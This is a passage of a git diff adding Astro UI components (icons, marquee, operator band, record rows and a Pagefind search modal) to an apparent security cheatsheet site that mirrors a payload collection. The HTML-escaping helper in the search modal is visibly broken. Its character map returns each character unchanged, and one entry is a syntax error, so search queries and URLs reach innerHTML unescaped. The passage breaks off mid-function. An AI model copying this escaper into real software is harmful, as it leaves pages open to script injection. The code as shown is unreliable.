+ hash: '<path d="M4 9h16M4 15h16M10 3 8 21M16 3l-2 18"/>',
+ wrench: '<path d="M14.7 6.3a4 4 0 0 0-5.4 5.2L3 18l3 3 6.5-6.3a4 4 0 0 0 5.2-5.4l-2.6 2.6-2.1-.5-.5-2.1z"/>',
+ close: '<path d="M18 6 6 18M6 6l12 12"/>',
+ copy: '<rect x="9" y="9" width="12" height="12"/><path d="M5 15H4a1 1 0 0 1-1-1V4a1 1 0 0 1 1-1h10a1 1 0 0 1 1 1v1"/>',
+ check: '<path d="M20 6 9 17l-5-5"/>',
+ external: '<path d="M14 4h6v6M20 4 10 14M18 14v5a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V7a1 1 0 0 1 1-1h5"/>',
+ /* The kind mark carried by every record row and marquee entry. A sheet
+ is a document; a payload is a fragment of one. */
+ doc: '<path d="M14 3H6a1 1 0 0 0-1 1v16a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1V8z"/><path d="M14 3v5h5M9 13h6M9 17h4"/>',
+ layers: '<path d="m12 3 9 5-9 5-9-5 9-5z"/><path d="m3 13 9 5 9-5"/>',
+ warn: '<path d="M10.3 3.9 1.8 18a2 2 0 0 0 1.7 3h17a2 2 0 0 0 1.7-3L13.7 3.9a2 2 0 0 0-3.4 0z"/><path d="M12 9v4M12 17h.01"/>',
+ info: '<circle cx="12" cy="12" r="9"/><path d="M12 16v-4M12 8h.01"/>',
+ lock: '<rect x="5" y="11" width="14" height="10"/><path d="M8 11V7a4 4 0 0 1 8 0v4"/>',
+};
+const d = paths[name] ?? '';
+---
+<svg class={cls} viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7"
+ stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" set:html={d} />
diff --git a/src/components/Marquee.astro b/src/components/Marquee.astro
@@ -0,0 +1,46 @@
+---
+interface LaneTitle { n: string; title: string; accent: string }
+interface LaneMeta { tag: string; text: string; accent: string }
+interface Props {
+ titles: LaneTitle[];
+ meta: LaneMeta[];
+ /** The manifest count shown in the fixed cap. */
+ manifest: string;
+}
+const { titles, meta, manifest } = Astro.props;
+
+/**
+ * The manifest band — two counter-scrolling lanes with a fixed inverse-plate
+ * cap, ported from the main site's dual-lane marquee. The title lane scrolls
+ * left, the meta lane scrolls right; each list is duplicated so the −50% loop
+ * is seamless. Both pause on hover; static under reduced motion.
+ */
+const titleRun = [...titles, ...titles];
+const metaRun = [...meta, ...meta];
+---
+<section class="vault-lanes bleed" aria-label="Manifest" data-marquee>
+ <div class="vault-lanes__body">
+ <div class="vault-lane-wrap vault-lane-wrap--top">
+ <div class="vault-lane">
+ {titleRun.map((t, i) => (
+ <div class="vault-title" style={`--acc: var(--${t.accent});`} aria-hidden={i >= titles.length ? 'true' : undefined}>
+ <span class="n">{t.n}</span><span class="t">{t.title}</span>
+ </div>
+ ))}
+ </div>
+ </div>
+ <div class="vault-lane-wrap">
+ <div class="vault-lane-rev">
+ {metaRun.map((m, i) => (
+ <div class="vault-meta" style={`--acc: var(--${m.accent});`} aria-hidden={i >= meta.length ? 'true' : undefined}>
+ <span class="tag">{m.tag}</span><span class="tx">{m.text}</span><span class="sep">/</span>
+ </div>
+ ))}
+ </div>
+ </div>
+ </div>
+ <div class="vault-cap" aria-hidden="true">
+ <span>Manifest ^: {manifest}</span>
+ <span class="verified"><i></i>Verified · MMXXVI</span>
+ </div>
+</section>
diff --git a/src/components/Operator.astro b/src/components/Operator.astro
@@ -0,0 +1,71 @@
+---
+interface Props {
+ sheets: number;
+ domains: number;
+ mirrors: number;
+ updated: string;
+}
+const { sheets, domains, mirrors, updated } = Astro.props;
+
+/**
+ * The operator band — a dark plate with a grid texture, capability chips, a
+ * terminal `--status` readout and an action rail, ported from the main site's
+ * operator section. The rail's search field opens the Pagefind modal
+ * (`[data-search-open]`, bound in SearchModal); the stats and CTAs bind the
+ * real vault counts.
+ */
+const pad2 = (n: number) => String(n).padStart(2, '0');
+---
+<section class="operator bleed" aria-labelledby="op-title">
+ <div class="operator__grid" aria-hidden="true"></div>
+ <div class="archive operator__inner">
+ <div class="sec-head">
+ <span class="sec-head__eyebrow" style="--tone: var(--color-night-iris);">Index / operator</span>
+ <h2 id="op-title" class="sec-head__title" style="--tone: var(--color-night-iris);">Start here.</h2>
+ <p class="sec-head__intro" style="--intro: var(--color-signal-meta);">
+ {sheets} sheets across {domains} shelves, plus two full upstream mirrors. The shelves are
+ below; the index itself runs under them.
+ </p>
+ </div>
+
+ <div class="operator__cols">
+ <div>
+ <div class="op-chips">
+ <span class="op-chip" style="--chip: var(--color-night-iris);"><span class="pip dmn-anim-pulse"></span>Offline search</span>
+ <span class="op-chip" style="--chip: var(--color-night-foam);">Copy-ready</span>
+ <span class="op-chip" style="--chip: var(--color-night-love);">Zero fluff</span>
+ </div>
+ <div class="op-readout">
+ <div class="op-readout__cmd">
+ <span class="u">daemon@ref</span><span>~</span><span>%</span><span class="c">vault --status</span><span class="dmn-blink"></span>
+ </div>
+ <dl>
+ <dt>sheets</dt><dd>{sheets} · curated</dd>
+ <dt>shelves</dt><dd>{domains} · domains</dd>
+ <dt>search</dt><dd><span class="on">offline</span> · fuzzy · no tracking</dd>
+ <dt>updated</dt><dd>{updated}</dd>
+ </dl>
+ </div>
+ </div>
+
+ <div class="op-rail">
+ <div class="op-rail__eyebrow">Quick search / 2026</div>
+ <button class="op-search" data-search-open type="button" aria-label="Search the vault">
+ <span class="slash">/</span>
+ <span class="ph">search the vault</span>
+ <kbd>⌘K</kbd>
+ </button>
+ <dl class="op-stats">
+ <dd><span style="color: var(--color-night-iris);">{pad2(domains)}</span> shelves</dd>
+ <dd><span style="color: var(--color-night-love);">{sheets}</span> sheets</dd>
+ <dd><span style="color: var(--color-night-gold);">{pad2(mirrors)}</span> mirrors</dd>
+ </dl>
+ <div class="op-cta-list">
+ <a class="op-cta op-cta--pine" href="#index"><span>Open the index</span><span class="count">{sheets} sheets</span><span>↓</span></a>
+ <a class="op-cta op-cta--text" href="#shelves"><span>Pick a shelf</span><span class="count">{pad2(domains)} shelves</span><span>↓</span></a>
+ <a class="op-cta op-cta--love" href="#mirrors"><span>Mirrored trees</span><span class="count">{pad2(mirrors)} upstream</span><span>↓</span></a>
+ </div>
+ </div>
+ </div>
+ </div>
+</section>
diff --git a/src/components/RecordRow.astro b/src/components/RecordRow.astro
@@ -0,0 +1,48 @@
+---
+import Icon from './Icon.astro';
+
+interface Props {
+ href: string;
+ /** Zero-padded index, supplied by the list so a row never has to know
+ * where it sits. */
+ n: string;
+ title: string;
+ /** The kind mark — the domain tag for a sheet, the topic for a payload. */
+ kind: string;
+ kindIcon?: string;
+ accent?: string;
+ /** Trailing slot: date / page count. Dropped below md. */
+ meta?: string;
+ /** Disclosure detail, revealed on hover/focus. */
+ excerpt?: string;
+ tagline?: string;
+ /** Client-side filter bucket (index page). */
+ bucket?: string;
+}
+const { href, n, title, kind, kindIcon = 'doc', accent = 'foam', meta, excerpt, tagline, bucket } = Astro.props;
+
+/**
+ * One record in an index — the site's core object, ported from the main
+ * site's RecordRow. One line, not a card: the title is NOT a display heading,
+ * so a list of fifty stays scannable.
+ *
+ * Rule #6 of the redesign handoff: the hover is a PAPER wash (`--overlay`),
+ * not the solid ink wipe — the title must stay ≥4.5:1 on hover — so nothing
+ * here re-colours the text on hover. See `.rec` in daemon.css.
+ */
+---
+<a class="rec" href={href} style={`--acc: var(--${accent});`} data-bucket={bucket}>
+ <span class="rec__grid">
+ <span class="rec__n">{n}</span>
+ <span class="rec__kind"><Icon name={kindIcon} /> {kind}</span>
+ <span class="rec__title">{title}</span>
+ <span class="rec__date">{meta}</span>
+ <span class="rec__arrow"><Icon name="chevron" /></span>
+ {(excerpt || tagline) && (
+ <span class="rec__reveal"><span>
+ {excerpt && <span class="rec__excerpt">{excerpt}</span>}
+ {tagline && <span class="rec__tagline">{tagline}</span>}
+ </span></span>
+ )}
+ </span>
+</a>
diff --git a/src/components/SearchModal.astro b/src/components/SearchModal.astro
@@ -0,0 +1,603 @@
+---
+import Icon from './Icon.astro';
+---
+<div class="search-overlay" data-search-overlay hidden>
+ <div class="search-box plate corners" role="dialog" aria-modal="true" aria-label="Search cheatsheets">
+ <div class="search-titlebar">
+ <span class="search-titlebar__label">Search — DÆMON//SEC</span>
+ <span class="search-titlebar__hints"><kbd>Esc</kbd> close · <kbd>⌘K</kbd> toggle</span>
+ </div>
+ <div class="search-inputrow">
+ <Icon name="search" class="search-ico" />
+ <input
+ type="search" class="search-input" data-search-input
+ placeholder="Search sheets, tools, techniques…" autocomplete="off"
+ spellcheck="false" aria-label="Search query"
+ role="combobox" aria-expanded="false" aria-controls="search-results"
+ aria-autocomplete="list" />
+ <button class="icon-btn" data-search-close type="button" aria-label="Close search">
+ <Icon name="close" />
+ </button>
+ </div>
+ <p class="search-status mono" data-search-status hidden></p>
+ <div
+ class="search-results" data-search-results id="search-results"
+ aria-label="Search results">
+ <p class="search-hint mono">
+ Type to search the catalog. <kbd>↑</kbd><kbd>↓</kbd> move, <kbd>↵</kbd> open, <kbd>Esc</kbd> close.
+ </p>
+ </div>
+ </div>
+</div>
+
+<style>
+ /* An opaque scrim rather than a frosted one. The page under it is as
+ often a dark band as it is cream, and a translucent overlay reads as
+ two different dialogs depending on where you happened to be. */
+ .search-overlay {
+ position: fixed; inset: 0; z-index: 100;
+ display: grid; place-items: start center;
+ padding: clamp(3rem, 12vh, 8rem) 1rem 2rem;
+ background: color-mix(in oklab, var(--base) 88%, transparent);
+ }
+ .search-overlay[hidden] { display: none; }
+ .search-box {
+ /* `.corners` draws its brackets against the box's hairline from
+ pseudo-elements, so the box has to be their containing block. */
+ position: relative;
+ width: min(660px, 100%);
+ /* The modal is a terminal window: a dark plate in BOTH modes (the
+ `.plate` class pins the night palette for the subtree), framed by a
+ hairline rather than by full ink — the corner brackets are the
+ accent, the frame stays furniture. */
+ border: 1px solid var(--rule-hi);
+ background: var(--base);
+ }
+ /* The window's titlebar: a JetBrains Mono micro label naming the pane,
+ kbd hints at the right, hairline under. `--font-term`, not
+ `--font-mono` — this is terminal chrome, and chrome speaks JetBrains
+ Mono everywhere else on the site (code captions, segbar segments). */
+ .search-titlebar {
+ display: flex; align-items: center; justify-content: space-between;
+ gap: 1rem;
+ padding: 0.5rem 0.9rem;
+ border-bottom: 1px solid var(--rule);
+ font-family: var(--font-term);
+ font-size: var(--step-micro);
+ letter-spacing: var(--track-micro);
+ text-transform: uppercase;
+ color: var(--fg-faint);
+ }
+ .search-titlebar__label { color: var(--fg-dim); }
+ .search-titlebar__hints { display: flex; align-items: center; gap: 0.35rem; white-space: nowrap; }
+ .search-titlebar kbd {
+ border: 1px solid var(--rule);
+ padding: 0.06rem 0.3rem;
+ font-family: var(--font-term);
+ color: var(--fg-faint);
+ }
+ /* Cross-theme in the other direction: on the night page the titlebar is
+ the modal's dawn plate — a cream strip floating on the dark window.
+ `.plate-dawn` is a token pin that applies in both modes, and here the
+ strip must appear only on the night page (on cream the modal is
+ already the cross-theme element), so the row re-pins the handful of
+ Dawn tokens it actually reads, scoped to the dark theme. */
+ :root[data-theme='dark'] .search-titlebar {
+ --fg: #575279; --fg-dim: #635f7c; --fg-faint: #6e6a86;
+ --rule: rgba(87, 82, 121, 0.22); --rule-hi: rgba(87, 82, 121, 0.48);
+ background: #faf4ed;
+ color: var(--fg-faint);
+ }
+ .search-inputrow { display: flex; align-items: center; gap: 0.6rem; padding: 0.7rem 0.8rem; border-bottom: 1px solid var(--rule); }
+ /* .search-ico is sized in the is:global block below — it is the root
+ <svg> of the Icon child component, which never receives this file's
+ scope attribute, so a scoped rule here silently never applies and the
+ icon renders at the SVG default replaced size (a huge magnifying
+ glass). Same reason the result rows are styled globally. */
+ .search-input {
+ flex: 1; background: none; border: none; outline: none;
+ color: var(--fg); font-size: 1.02rem; font-family: var(--font-mono);
+ }
+ .search-input::placeholder { color: var(--fg-faint); }
+ /* The count bar. The site labels everything in 10px mono; a result set
+ is no different, and knowing 8 of 47 are shown is the difference
+ between "that's all there is" and "keep typing". */
+ .search-status {
+ display: flex; justify-content: space-between; gap: 1rem;
+ padding: 0.5rem 0.9rem;
+ border-bottom: 1px solid var(--rule);
+ color: var(--fg-faint); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ }
+ .search-status[hidden] { display: none; }
+
+ .search-results { max-height: min(56vh, 520px); overflow-y: auto; overscroll-behavior: contain; }
+</style>
+
+<!-- Everything below draws nodes this component writes with `innerHTML` at
+ runtime — the result rows and the hint that replaces them.
+
+ Astro scopes a component's CSS by rewriting each selector to carry a
+ `[data-astro-cid-…]` attribute and stamping that attribute onto the
+ markup *at build time*. A node created later by script never receives
+ it, so a scoped rule silently does not apply: no error, no warning, and
+ a results list that renders as raw stacked text with no padding, no
+ rules and no wipe. That is what was wrong with this panel — the styles
+ had simply never reached it.
+
+ `is:global` is the escape hatch, and every rule is confined to
+ `.search-overlay` so nothing here can reach the page behind it. -->
+<style is:global>
+ /* The leading magnifying glass. Sized here, not in the scoped block: it
+ is the Icon child's root <svg>, which carries Icon's scope id and not
+ this component's, so `.search-ico { … }` up in the scoped styles never
+ matched it and the icon fell back to the SVG default size. */
+ .search-overlay .search-ico { width: 18px; height: 18px; color: var(--fg-faint); flex: 0 0 auto; }
+
+ .search-overlay .search-hint {
+ color: var(--fg-faint); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ padding: 1rem 0.9rem; line-height: 2;
+ }
+ .search-overlay .search-hint kbd {
+ border: 1px solid var(--rule); padding: 0.06rem 0.3rem;
+ font-family: var(--font-mono); margin-right: 0.15rem;
+ }
+ .search-overlay .search-hint code {
+ font-family: var(--font-mono); text-transform: none;
+ }
+
+ /* A hit is a record, not a card.
+
+ The index rows on every other page of this site are one line — rank,
+ kind, title, chevron — because a list is read by its shape and a row
+ that grows to fit its content destroys the shape. This panel used to
+ stack three free-height lines per hit, so eight results ran from 100px
+ to 204px tall and only three and a half of them fitted the box. Fixing
+ the height is what makes the list scannable; everything else here is
+ the same furniture the vault indexes are built from. */
+ .search-overlay .s-result {
+ display: grid;
+ grid-template-columns: 26px minmax(0, 1fr) 14px;
+ align-items: center;
+ column-gap: 0.7rem;
+ row-gap: 0.1rem;
+ padding: 0.62rem 0.9rem;
+ border-bottom: 1px solid var(--rule);
+ color: var(--fg);
+ background-image: linear-gradient(90deg, var(--fg) 0 50%, transparent 50% 100%);
+ background-size: 200% 100%;
+ background-position: 100% 0;
+ background-repeat: no-repeat;
+ transition: background-position 380ms var(--ease-in), color 1ms;
+ }
+ @media (min-width: 560px) {
+ .search-overlay .s-result { grid-template-columns: 26px 54px minmax(0, 1fr) 14px; }
+ }
+ /* Hover and keyboard selection are the same state deliberately: the
+ pointer and the arrow keys are moving one cursor, not two. */
+ .search-overlay .s-result:hover,
+ .search-overlay .s-result[data-sel] { background-position: 0 0; color: var(--base); }
+ .search-overlay .s-result:focus-visible { outline: 2px solid var(--accent); outline-offset: -2px; }
+
+ /* Rank, and the keyboard address — ↑/↓ move this number, ↵ opens it. */
+ .search-overlay .s-n {
+ grid-column: 1; grid-row: 1;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); color: var(--fg-faint);
+ }
+ /* The domain's own accent, from taxonomy.ts — the same legend the
+ masthead and the domain plates key back to. */
+ .search-overlay .s-kind {
+ grid-column: 2; grid-row: 2;
+ font-family: var(--font-mono); font-size: var(--step-micro);
+ letter-spacing: var(--track-micro); text-transform: uppercase;
+ color: var(--acc, var(--accent));
+ white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
+ }
+ @media (min-width: 560px) { .search-overlay .s-kind { grid-row: 1; } }
+ .search-overlay .s-title {
+ grid-column: 2; grid-row: 1;
+ font-family: var(--font-display); font-weight: 600;
+ font-size: 0.98rem; letter-spacing: -0.015em;
+ min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
+ }
+ @media (min-width: 560px) { .search-overlay .s-title { grid-column: 3; } }
+ .search-overlay .s-snip {
+ grid-column: 2; grid-row: 3;
+ color: var(--fg-dim); font-size: 0.8rem; line-height: 1.35;
+ min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
+ }
+ @media (min-width: 560px) { .search-overlay .s-snip { grid-column: 3; grid-row: 2; } }
+ .search-overlay .s-go {
+ grid-column: 3; grid-row: 1;
+ color: var(--fg-faint);
+ transition: transform 250ms var(--ease);
+ }
+ @media (min-width: 560px) { .search-overlay .s-go { grid-column: 4; } }
+ .search-overlay .s-go svg { width: 14px; height: 14px; display: block; }
+
+ /* On the wipe's ink the accents sit near 1:1, so every coloured cell
+ drops its hue and takes the page ground at the /78 the record rows
+ use. Mixed from `--base` rather than written as the cream literal the
+ rest of the site uses for this: the wipe fills with `--fg`, which is
+ dark ink on the dawn theme but near-white on the night one, so a fixed
+ cream is correct in one mode and invisible in the other. */
+ .search-overlay .s-result:hover .s-n, .search-overlay .s-result[data-sel] .s-n,
+ .search-overlay .s-result:hover .s-kind, .search-overlay .s-result[data-sel] .s-kind,
+ .search-overlay .s-result:hover .s-snip, .search-overlay .s-result[data-sel] .s-snip,
+ .search-overlay .s-result:hover .s-go, .search-overlay .s-result[data-sel] .s-go {
+ color: color-mix(in oklab, var(--base) 78%, transparent);
+ }
+ .search-overlay .s-result:hover .s-go,
+ .search-overlay .s-result[data-sel] .s-go { transform: translateX(3px); }
+
+ /* The match itself has to survive the wipe, so it gets a second
+ treatment on ink rather than keeping a gold wash that goes muddy. */
+ .search-overlay .s-snip mark {
+ background: color-mix(in oklab, var(--gold) 34%, transparent);
+ color: inherit; padding: 0 2px;
+ }
+ .search-overlay .s-result:hover .s-snip mark,
+ .search-overlay .s-result[data-sel] .s-snip mark {
+ background: color-mix(in oklab, var(--base) 22%, transparent);
+ color: var(--base);
+ }
+
+ @media (prefers-reduced-motion: reduce) {
+ .search-overlay .s-result, .search-overlay .s-go { transition: none; }
+ }
+</style>
+
+<script>
+ import { SOURCE_META } from '../lib/taxonomy';
+
+ const BASE = import.meta.env.BASE_URL;
+
+ /* Looked up per call, never held.
+
+ `ClientRouter` swaps the whole body on an internal navigation, so the
+ modal on screen after the first click-through is a different element
+ from the one that was in the document when this module ran. Module
+ scripts are executed once per session — Astro replaces an already-run
+ inline script with an empty `data:` URI on swap — so a reference
+ captured up here is never refreshed, and every later `open()` was
+ unhiding a detached node while locking scroll on the live body:
+ nothing appeared and the page could no longer be scrolled.
+
+ Re-querying at the point of use costs one `querySelector` per
+ interaction and cannot go stale. */
+ const overlayEl = () => document.querySelector<HTMLElement>('[data-search-overlay]');
+ const inputEl = () => document.querySelector<HTMLInputElement>('[data-search-input]');
+ const resultsEl = () => document.querySelector<HTMLElement>('[data-search-results]');
+
+ const statusEl = () => document.querySelector<HTMLElement>('[data-search-status]');
+
+ const HINT =
+ '<p class="search-hint mono">Type to search the catalog. ' +
+ '<kbd>↑</kbd><kbd>↓</kbd> move, <kbd>↵</kbd> open, <kbd>Esc</kbd> close.</p>';
+
+ /* Pagefind reports the category as its display title, which is all a
+ human needs but not what the row is drawn from: the vault's rows carry
+ a short module tag in the domain's own accent. Both come from
+ `taxonomy.ts` rather than a second copy of the table here, so adding a
+ domain there gives search the right badge and the right colour with no
+ further edit. Payloads is not a domain in that list — it is the mirror
+ — and takes the iris the masthead already gives it. */
+ const KIND = new Map<string, { tag: string; accent: string }>(
+ Object.values(SOURCE_META).map((s) => [s.label, { tag: s.tag, accent: s.accent }] as const),
+ );
+ const kindOf = (source?: string) =>
+ (source && KIND.get(source)) || { tag: source || 'TECH', accent: 'foam' };
+
+ /* The index itself does survive navigation, and should — it is a few
+ hundred KB of WASM and index shards, and re-fetching it per page would
+ undo the point of a client-side router. */
+ let pagefind: any = null;
+ let loading: Promise<any> | null = null;
+
+ /* Native dynamic import, hidden from Vite.
+
+ Pagefind ships as a prebuilt ES module with its own WASM and code-split
+ chunks. A literal `import(path)` is rewritten by Vite's dev server: it
+ appends `?import` and tries to push pagefind's bundle through its own
+ transform pipeline, which 500s — so search worked under `astro preview`
+ (no Vite) but never under `astro dev`. `@vite-ignore` doesn't help; Vite
+ still rewrites the specifier.
+
+ Building the import through `new Function` means the token `import(` is
+ never in source Vite can scan, so it emits a genuine browser-native
+ import that fetches pagefind untouched. Pagefind's own internal chunk
+ imports then resolve against its real URL and are served straight from
+ `public/pagefind/` (or `dist/pagefind/` in prod). */
+ const nativeImport: (u: string) => Promise<any> =
+ new Function('u', 'return import(u)') as any;
+
+ function loadPagefind() {
+ if (loading) return loading;
+ /* Join on a normalised base rather than concatenating onto it.
+ `BASE_URL` is `/daemon-sec-cheatsheet` — no trailing slash, because
+ the config sets `trailingSlash: 'ignore'` — so the old
+ `${BASE}pagefind/…` produced `/daemon-sec-cheatsheetpagefind/…` and
+ 404'd on every environment including production. Stripping any
+ trailing slashes first makes the join correct whether or not the
+ base carries one. */
+ const path = `${BASE.replace(/\/+$/, '')}/pagefind/pagefind.js`;
+ loading = nativeImport(path)
+ .then(async (mod: any) => { await mod.init?.(); pagefind = mod; return mod; })
+ .catch(() => { pagefind = false; return null; });
+ return loading;
+ }
+
+ function open() {
+ const overlay = overlayEl();
+ if (!overlay) return;
+ overlay.hidden = false;
+ document.body.style.overflow = 'hidden';
+ loadPagefind();
+ setTimeout(() => inputEl()?.focus(), 20);
+ }
+ function close() {
+ const overlay = overlayEl();
+ document.body.style.overflow = '';
+ if (!overlay) return;
+ overlay.hidden = true;
+ const input = inputEl();
+ if (input) input.value = '';
+ write(HINT);
+ }
+
+ function esc(s: string) {
+ return String(s).replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }[c] as string));
+ }
+
+ const CHEVRON =
+ '<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" ' +
+ 'stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="m9 6 6 6-6 6"/></svg>';
+
+ /* ---- Excerpt repair -----------------------------------------------------
+ Pagefind excerpts are the page's own prose with `<mark>` around the hit,
+ and the vault's prose is not prose: it is command listings, tables and
+ emoji-headed sections. Untouched, a snippet arrives looking like
+
+ "# ── Set SPN on target ──────────────────── Set-DomainObject -Identity"
+
+ which is not a sentence, is not a preview, and is what pushed one row to
+ 204px while its neighbour sat at 100px. No amount of styling fixes text
+ that is mostly rule characters, so the string is repaired before it is
+ ever measured.
+
+ Everything below is tag-aware: `<mark>` is the whole point of an excerpt
+ and must survive, so nothing here counts or cuts raw HTML positions. */
+
+ /** Drop the first `n` *visible* characters, stepping over tags. */
+ function dropLeading(html: string, n: number) {
+ let out = '';
+ let i = 0;
+ let dropped = 0;
+ while (i < html.length) {
+ if (html[i] === '<') {
+ const end = html.indexOf('>', i);
+ if (end === -1) break;
+ out += html.slice(i, end + 1);
+ i = end + 1;
+ continue;
+ }
+ if (dropped < n) dropped++;
+ else out += html[i];
+ i++;
+ }
+ return out;
+ }
+
+ const plain = (html: string) => html.replace(/<[^>]*>/g, '');
+
+ function tidyExcerpt(raw: string, title: string) {
+ let html = String(raw || '');
+
+ // Pagefind only ever emits <mark>; anything else reaching the panel is
+ // content that escaped indexing, and it is not this component's job to
+ // render it.
+ html = html.replace(/<(?!\/?mark\s*\/?>)[^>]*>/gi, '');
+
+ // Pictographs, box drawing, block elements, the long ASCII rules that
+ // head almost every command section in this vault, and the `:warning:`
+ // style shortcodes the PayloadsAllTheThings mirror carries in from
+ // GitHub-flavoured markdown. The shortcode pattern is deliberately
+ // anchored to whitespace on both sides so it cannot bite a `key:value:`
+ // pair out of a command line.
+ html = html
+ .replace(/[\u{1F000}-\u{1FAFF}\u{2600}-\u{27BF}\u{2B00}-\u{2BFF}\u{FE0F}\u{20E3}]/gu, ' ')
+ .replace(/[─-▟]+/g, ' ')
+ .replace(/(^|\s):[a-z][a-z0-9_+-]{2,}:(?=\s|$)/gi, '$1')
+ .replace(/([=_*~#·•+\-])\1{2,}/g, ' ')
+ .replace(/\s+/g, ' ')
+ .trim();
+
+ // The heading is nearly always the first thing in the body text, so the
+ // snippet opens by repeating the title directly above it. Say it once.
+ const t = title.trim().toLowerCase();
+ if (t && plain(html).toLowerCase().startsWith(t)) html = dropLeading(html, t.length);
+
+ /* Tidying the head of the string can leave the punctuation that used to
+ separate it from the title, and can empty a <mark> whose text was
+ part of the title — a marked-up heading is the common case, not the
+ exception. Both have to go, and each can uncover the other. */
+ for (let pass = 0; pass < 3; pass++) {
+ const trimmed = html
+ .replace(/<mark[^>]*>\s*<\/mark>/gi, '')
+ .replace(/^[\s.,:;|—–-]+/, '');
+ if (trimmed === html) break;
+ html = trimmed;
+ }
+
+ /* A one-line snippet is only worth showing if the match is on that line.
+ Pagefind usually centres the excerpt on the hit, but not always — when
+ the match starts late, wind the snippet forward so it lands early
+ enough to survive the ellipsis. */
+ const markTag = html.search(/<mark/i);
+ if (markTag > 0) {
+ const visibleBefore = plain(html.slice(0, markTag)).length;
+ if (visibleBefore > 46) html = '… ' + dropLeading(html, visibleBefore - 24);
+ }
+
+ return html;
+ }
+
+ /* Writes go through here for the same reason reads do: a search started
+ on one page can resolve after a navigation has replaced the results
+ panel, and the answer belongs in whichever panel is on screen now. */
+ function write(html: string, status?: string) {
+ const results = resultsEl();
+ if (results) results.innerHTML = html;
+ const bar = statusEl();
+ if (bar) {
+ bar.hidden = !status;
+ bar.innerHTML = status || '';
+ }
+ /* A listbox may only contain options, so the container is only a
+ listbox while it holds results — the hint and the empty state are
+ prose and are announced as prose. */
+ if (results) {
+ if (status) results.setAttribute('role', 'listbox');
+ else results.removeAttribute('role');
+ }
+ const input = inputEl();
+ input?.setAttribute('aria-expanded', String(!!status));
+ select(status ? 0 : -1);
+ }
+
+ /* ---- The cursor ---------------------------------------------------------
+ One cursor, moved by either device: `[data-sel]` takes the same ink wipe
+ hovering does, so the pointer and the arrow keys are visibly driving the
+ same thing rather than lighting two different rows. The top hit is
+ selected on arrival, which is what makes ↵ worth pressing. */
+ let sel = -1;
+ function rows() {
+ return Array.from(document.querySelectorAll<HTMLAnchorElement>('.s-result'));
+ }
+ function select(i: number) {
+ const list = rows();
+ list.forEach((r) => r.removeAttribute('data-sel'));
+ sel = list.length ? Math.max(0, Math.min(i, list.length - 1)) : -1;
+ const input = inputEl();
+ if (sel < 0) { input?.removeAttribute('aria-activedescendant'); return; }
+ const row = list[sel];
+ row.setAttribute('data-sel', '');
+ row.setAttribute('aria-selected', 'true');
+ list.forEach((r, n) => { if (n !== sel) r.setAttribute('aria-selected', 'false'); });
+ input?.setAttribute('aria-activedescendant', row.id);
+ row.scrollIntoView({ block: 'nearest' });
+ }
+
+ const RESULT_LIMIT = 8;
+
+ let seq = 0;
+ async function run(q: string) {
+ const mine = ++seq;
+ if (!q.trim()) { write(HINT); return; }
+ await loadPagefind();
+ if (mine !== seq) return;
+ /* The index is generated by Pagefind after `astro build`, so it exists
+ in `dist/` and never under `astro dev`. This is the expected state on
+ the dev server — `npm run preview` serves the built site with it. */
+ if (pagefind === false) { write('<p class="search-hint mono">Search index not loaded. It is built by <code>npm run build</code>; use <code>npm run preview</code> to search locally.</p>'); return; }
+ const search = await pagefind.search(q);
+ if (mine !== seq) return;
+ const total = search.results.length;
+ const data = await Promise.all(
+ search.results.slice(0, RESULT_LIMIT).map((r: any) => r.data()),
+ );
+ if (mine !== seq) return;
+ if (!data.length) {
+ write(`<p class="search-hint mono">No matches for “${esc(q)}”. Try a tool name, a technique, or a CVE.</p>`);
+ return;
+ }
+
+ const html = data.map((d: any, i: number) => {
+ const title = String(d.meta?.title || d.url);
+ const kind = kindOf(d.meta?.source);
+ const snip = tidyExcerpt(d.excerpt, title);
+ return (
+ `<a class="s-result" id="s-opt-${i}" role="option" aria-selected="false"` +
+ ` href="${esc(d.url)}" style="--acc: var(--${kind.accent});">` +
+ `<span class="s-n">${String(i + 1).padStart(2, '0')}</span>` +
+ `<span class="s-kind">${esc(kind.tag)}</span>` +
+ `<span class="s-title">${esc(title)}</span>` +
+ `<span class="s-snip">${snip}</span>` +
+ `<span class="s-go">${CHEVRON}</span>` +
+ `</a>`
+ );
+ }).join('');
+
+ /* Say how much of the result set is on screen. "8 results" reads as the
+ whole answer when it is the first page of forty. */
+ const shown = data.length;
+ const status =
+ `<span>${total === shown ? `${total} match${total === 1 ? '' : 'es'}` : `${shown} of ${total} matches`}</span>` +
+ `<span>↑↓ ↵</span>`;
+ write(html, status);
+ }
+
+ /* Delegated rather than bound to the field, so that it keeps working
+ against whichever field is in the document — `input` bubbles. */
+ let t: any;
+ document.addEventListener('input', (e) => {
+ const el = e.target as HTMLElement;
+ if (!el?.matches?.('[data-search-input]')) return;
+ const value = (el as HTMLInputElement).value;
+ clearTimeout(t);
+ t = setTimeout(() => run(value), 120);
+ });
+
+ document.addEventListener('click', (e) => {
+ const el = e.target as HTMLElement;
+ if (el.closest('[data-search-open]')) { e.preventDefault(); open(); }
+ else if (el.closest('[data-search-close]')) close();
+ else if (el === overlayEl()) close();
+ });
+ document.addEventListener('keydown', (e) => {
+ const overlay = overlayEl();
+ const isOpen = !!overlay && !overlay.hidden;
+
+ /* Arrow keys drive the list while the field keeps the caret, which is
+ the whole reason a palette is quicker than a results page. Enter
+ follows the selection rather than submitting the form. */
+ if (isOpen && (e.key === 'ArrowDown' || e.key === 'ArrowUp' || e.key === 'Home' || e.key === 'End')) {
+ const list = rows();
+ if (!list.length) return;
+ e.preventDefault();
+ if (e.key === 'ArrowDown') select(sel < 0 ? 0 : (sel + 1) % list.length);
